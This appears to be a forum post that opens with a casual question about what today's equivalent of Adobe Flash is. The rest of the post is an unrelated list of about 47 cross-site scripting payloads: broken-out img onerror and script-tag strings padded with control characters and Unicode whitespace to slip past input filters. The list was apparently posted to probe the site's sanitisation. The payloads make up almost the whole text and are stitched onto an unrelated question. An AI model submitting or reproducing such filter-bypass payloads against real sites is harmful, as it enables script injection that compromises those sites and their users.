The Adobe Flash of this generation

Remember how fucking awful flash was? Hindsight is 20/20 so it's easy to see how bad it was, but what do you think is the modern equivalent to flash?

`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
"`'><script>\x3Bjavascript:alert(1)</script>
"`'><script>\x0Djavascript:alert(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
"`'><script>\x09javascript:alert(1)</script>
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
"`'><script>\x00javascript:alert(1)</script>
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
"`'><script>\x0Cjavascript:alert(1)</script>
"`'><script>\x2Bjavascript:alert(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
"`'><script>-javascript:alert(1)</script>
"`'><script>\x0Ajavascript:alert(1)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
"`'><script>\x7Ejavascript:alert(1)</script>
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
"`'><script>\xC2\x85javascript:alert(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
"`'><script>\x21javascript:alert(1)</script>
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
"`'><script>\x0Bjavascript:alert(1)</script>
"`'><script>\x20javascript:alert(1)</script>
"`'><script>\xC2\xA0javascript:alert(1)</script>